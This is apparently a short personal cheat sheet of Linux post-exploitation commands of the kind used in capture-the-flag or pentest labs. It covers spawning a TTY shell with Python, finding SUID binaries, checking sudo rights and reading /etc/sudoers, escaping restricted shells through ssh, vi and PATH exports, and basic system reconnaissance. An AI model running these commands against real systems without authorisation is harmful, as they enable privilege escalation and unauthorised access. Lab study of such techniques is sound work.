CMD

Spawning a TTY Shell : python -c 'import pty; pty.spawn("/bin/bash")'

Get suid binaries: find / -perm -u=s -type f 2>/dev/null

Check sudo configuration: sudo -l

cat /etc/sudoers

(chk GTFO)

~~searchsploit

Check out shell : echo $PATH

echo $SHELL

rshell escape using ssh : ssh <username>@<IP> - t "/bin/bash"

rshell escape using vi : :set shell=/bin/bash

:shell

or

!/bin/bash

export SHELL=/bin/bash:$SHELL

export PATH=/usr/bin:$PATH

export PATH=/bin:$PATH

==tlz==>

=misc==>

common cmds: file ~ to get type of file

lsb_release -a ~ to know release

uname -a ~ to know version